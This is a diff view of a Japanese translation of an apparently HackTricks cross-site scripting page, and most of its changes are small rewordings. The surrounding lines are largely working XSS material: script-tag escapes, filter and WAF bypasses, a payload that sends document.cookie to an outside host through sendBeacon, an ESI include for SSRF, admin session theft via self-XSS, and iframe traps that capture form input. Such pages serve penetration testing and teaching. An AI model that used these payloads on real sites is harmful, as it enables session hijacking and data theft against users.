[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。こちらがベクターです:
|
||||||
```markup
|
```markup
|
||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
```
|
```
|
||||||
|
@ -432,7 +432,7 @@ Android: %09 %20 %28 %2C %3B
|
||||||
|
|
||||||
### ブラックリストバイパス
|
### ブラックリストバイパス
|
||||||
|
|
||||||
このセクションでは、異なるエンコーディングを使用するいくつかのトリックがすでに公開されています。**戻って、どこで使用できるかを学びましょう:**
|
このセクションでは、さまざまなエンコーディングを使用するトリックがすでに公開されています。**戻って、どこで使用できるかを学びましょう:**
|
||||||
|
|
||||||
* **HTMLエンコーディング(HTMLタグ)**
|
* **HTMLエンコーディング(HTMLタグ)**
|
||||||
* **Unicodeエンコーディング(有効なJSコードになる可能性があります):** `\u0061lert(1)`
|
* **Unicodeエンコーディング(有効なJSコードになる可能性があります):** `\u0061lert(1)`
|
||||||
|
@ -450,11 +450,11 @@ Android: %09 %20 %28 %2C %3B
|
||||||
|
|
||||||
### CSSガジェット
|
### CSSガジェット
|
||||||
|
|
||||||
もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です(例えば、マウスオーバー要素を持つフッターの小さなリンクなど)、その要素が占める**スペースを変更して**、リンクが発火する確率を最大化することを試みることができます。
|
もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です(フッターの小さなリンクにonmouseover要素があるかもしれません)、その要素が占めるスペースを**変更してリンクが発火する確率を最大化**することを試みることができます。
|
||||||
|
|
||||||
例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||||
|
|
||||||
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用することができます。例えば、次のようなものを見つけた場合
|
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、次のようなものを見つけた場合
|
||||||
|
|
||||||
> .test {display:block; color: blue; width: 100%\}
|
> .test {display:block; color: blue; width: 100%\}
|
||||||
|
|
||||||
|
@ -474,11 +474,11 @@ Android: %09 %20 %28 %2C %3B
|
||||||
|
|
||||||
### \<script>タグのエスケープ
|
### \<script>タグのエスケープ
|
||||||
|
|
||||||
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、簡単に**`<script>`タグを閉じることでエスケープできます**:
|
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、簡単に**`<script>`タグを閉じることでエスケープ**できます:
|
||||||
```javascript
|
```javascript
|
||||||
</script><img src=1 onerror=alert(document.domain)>
|
</script><img src=1 onerror=alert(document.domain)>
|
||||||
```
|
```
|
||||||
注意、この例では**シングルクォートを閉じていません**。これは、**HTMLの解析が最初にブラウザによって行われるため**で、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。
|
注意、この例では**シングルクォートを閉じていません**。これは、**HTMLの解析が最初にブラウザによって行われる**ためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。
|
||||||
|
|
||||||
### JSコード内
|
### JSコード内
|
||||||
|
|
||||||
|
@ -490,7 +490,7 @@ Android: %09 %20 %28 %2C %3B
|
||||||
```
|
```
|
||||||
### テンプレートリテラル \`\`
|
### テンプレートリテラル \`\`
|
||||||
|
|
||||||
文字列を構築するために、シングルクォートやダブルクォートとは別に、JSは**バックティック** **` `` `** を受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
|
文字列を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
|
||||||
したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます:
|
したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます:
|
||||||
|
|
||||||
これは次のように**悪用**できます:
|
これは次のように**悪用**できます:
|
||||||
|
@ -735,21 +735,21 @@ top[8680439..toString(30)](1)
|
||||||
````
|
````
|
||||||
## **DOMの脆弱性**
|
## **DOMの脆弱性**
|
||||||
|
|
||||||
攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`です。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
|
攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば`location.href`です。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
|
||||||
**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
|
**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
[dom-xss.md](dom-xss.md)
|
[dom-xss.md](dom-xss.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\
|
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明があります**。\
|
||||||
また、**前述の投稿の最後には、** [**DOMクラッバー攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
|
また、**前述の投稿の最後には、** [**DOMクラッバー攻撃**](dom-xss.md#dom-clobbering)についての説明がありますので、忘れないでください。
|
||||||
|
|
||||||
### セルフXSSのアップグレード
|
### セルフXSSのアップグレード
|
||||||
|
|
||||||
### クッキーXSS
|
### クッキーXSS
|
||||||
|
|
||||||
クッキー内にペイロードを送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。これにはクッキー投げ攻撃を使用できます:
|
もしクッキーの中にペイロードを送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインや他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。これにはクッキー投げ攻撃を使用できます:
|
||||||
|
|
||||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||||
|
@ -759,11 +759,11 @@ top[8680439..toString(30)](1)
|
||||||
|
|
||||||
### 管理者にセッションを送信する
|
### 管理者にセッションを送信する
|
||||||
|
|
||||||
ユーザーが管理者とプロフィールを共有できる場合、ユーザーのプロフィール内にセルフXSSがあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
|
ユーザーが自分のプロフィールを管理者と共有できる場合、もしセルフXSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
|
||||||
|
|
||||||
### セッションミラーリング
|
### セッションミラーリング
|
||||||
|
|
||||||
セルフXSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は彼のセッションからあなたのセッションで見ているものを見ています。
|
もしセルフXSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを彼のセッションから見ることができます。
|
||||||
|
|
||||||
あなたは**管理者にセルフXSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
|
あなたは**管理者にセルフXSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
|
||||||
|
|
||||||
|
@ -829,11 +829,11 @@ document['default'+'View'][`\u0061lert`](3)
|
||||||
|
|
||||||
### Only Letters, Numbers and Dots
|
### Only Letters, Numbers and Dots
|
||||||
|
|
||||||
もしあなたが**コールバック**を示すことができるなら、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読む**](./#javascript-function)ことで、この動作を悪用する方法を見つけることができます。
|
もしあなたが**コールバック**を示すことができるなら、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読んで**](./#javascript-function)この動作を悪用する方法を見つけてください。
|
||||||
|
|
||||||
### Valid `<script>` Content-Types to XSS
|
### Valid `<script>` Content-Types to XSS
|
||||||
|
|
||||||
([**こちら**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)から)もしあなたが`application/octet-stream`のような**コンテンツタイプ**でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:
|
([**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))もしあなたが`application/octet-stream`のような**コンテンツタイプ**でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:
|
||||||
|
|
||||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||||
|
|
||||||
|
@ -865,6 +865,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||||
```html
|
```html
|
||||||
<script type="???"></script>
|
<script type="???"></script>
|
||||||
```
|
```
|
||||||
|
The answer is:
|
||||||
|
|
||||||
* **module** (デフォルト、説明することはありません)
|
* **module** (デフォルト、説明することはありません)
|
||||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JSなどのデータをまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
|
* [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JSなどのデータをまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
|
||||||
```html
|
```html
|
||||||
|
@ -895,7 +897,7 @@ import { partition } from "lodash";
|
||||||
```
|
```
|
||||||
この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
|
この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
|
||||||
|
|
||||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
|
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
|
||||||
```html
|
```html
|
||||||
<script type="speculationrules">
|
<script type="speculationrules">
|
||||||
{
|
{
|
||||||
|
@ -940,7 +942,7 @@ import { partition } from "lodash";
|
||||||
|
|
||||||
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊な文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)を使用して、いくつかの保護を回避しようとすることがあります: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊な文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)を使用して、いくつかの保護を回避しようとすることがあります: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||||
|
|
||||||
例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内で**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
|
例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
|
||||||
|
|
||||||
### ChromeキャッシュからXSSへ
|
### ChromeキャッシュからXSSへ
|
||||||
|
|
||||||
|
@ -981,16 +983,16 @@ constructor(source)()
|
||||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||||
```
|
```
|
||||||
もし**すべてが未定義**であれば、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
|
もし**すべてが未定義**であれば、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
|
||||||
|
|
||||||
* import()を使用する
|
* import()を使用して
|
||||||
```javascript
|
```javascript
|
||||||
// although import "fs" doesn’t work, import('fs') does.
|
// although import "fs" doesn’t work, import('fs') does.
|
||||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||||
```
|
```
|
||||||
* `require`を間接的にアクセスする
|
* `require`への間接アクセス
|
||||||
|
|
||||||
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)、モジュールはNode.jsによって関数内にラップされます。
|
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによって関数内にラップされます。
|
||||||
```javascript
|
```javascript
|
||||||
(function (exports, require, module, __filename, __dirname) {
|
(function (exports, require, module, __filename, __dirname) {
|
||||||
// our actual module code
|
// our actual module code
|
||||||
|
@ -1043,7 +1045,7 @@ trigger()
|
||||||
```
|
```
|
||||||
### オブfuscation & 高度なバイパス
|
### オブfuscation & 高度なバイパス
|
||||||
|
|
||||||
* **1つのページ内の異なるオブfuscation:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
* **1つのページ内の異なるオブfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||||
|
@ -1076,7 +1078,7 @@ trigger()
|
||||||
```javascript
|
```javascript
|
||||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||||
```
|
```
|
||||||
## XSS一般的なペイロード
|
## XSSの一般的なペイロード
|
||||||
|
|
||||||
### 1つのペイロードに複数
|
### 1つのペイロードに複数
|
||||||
|
|
||||||
|
@ -1086,7 +1088,7 @@ trigger()
|
||||||
|
|
||||||
### Iframeトラップ
|
### Iframeトラップ
|
||||||
|
|
||||||
ユーザーがiframeを退出せずにページ内を移動させ、その行動を盗む(フォームに送信された情報を含む):
|
ユーザーがiframeを退出せずにページ内を移動させ、その行動を盗む(フォームに送信された情報を含む):
|
||||||
|
|
||||||
{% content-ref url="../iframe-traps.md" %}
|
{% content-ref url="../iframe-traps.md" %}
|
||||||
[iframe-traps.md](../iframe-traps.md)
|
[iframe-traps.md](../iframe-traps.md)
|
||||||
|
@ -1115,7 +1117,7 @@ trigger()
|
||||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
JavaScriptからクッキーにアクセスすることは**できません**が、クッキーにHTTPOnlyフラグが設定されている場合。ですが、運が良ければ、[この保護を回避する方法](../hacking-with-cookies/#httponly)があります。
|
HTTPOnlyフラグがクッキーに設定されている場合、**JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法があります](../hacking-with-cookies/#httponly)。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### ページコンテンツを盗む
|
### ページコンテンツを盗む
|
||||||
|
@ -1309,7 +1311,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||||
```
|
```
|
||||||
### Regex - 隠れたコンテンツへのアクセス
|
### Regex - 隠れたコンテンツへのアクセス
|
||||||
|
|
||||||
[**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます:
|
[**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます:
|
||||||
```javascript
|
```javascript
|
||||||
// Do regex with flag
|
// Do regex with flag
|
||||||
flag="CTF{FLAG}"
|
flag="CTF{FLAG}"
|
||||||
|
@ -1340,11 +1342,11 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
||||||
|
|
||||||
### SSRFへのXSS
|
### SSRFへのXSS
|
||||||
|
|
||||||
**キャッシュを使用しているサイトでXSSを取得しましたか**?このペイロードを使用して**それをSSRFにアップグレードしてみてください**:
|
**キャッシュを使用しているサイトでXSSを取得しましたか?** このペイロードを使用して**それをSSRFにアップグレード**してみてください:
|
||||||
```python
|
```python
|
||||||
<esi:include src="http://yoursite.com/capture" />
|
<esi:include src="http://yoursite.com/capture" />
|
||||||
```
|
```
|
||||||
クッキー制限、XSSフィルターなどをバイパスするために使用してください!\
|
クッキー制限、XSSフィルターなどを回避するために使用します!\
|
||||||
この技術に関する詳細情報はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
|
この技術に関する詳細情報はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
|
||||||
|
|
||||||
### 動的に作成されたPDFにおけるXSS
|
### 動的に作成されたPDFにおけるXSS
|
||||||
|
@ -1451,8 +1453,8 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue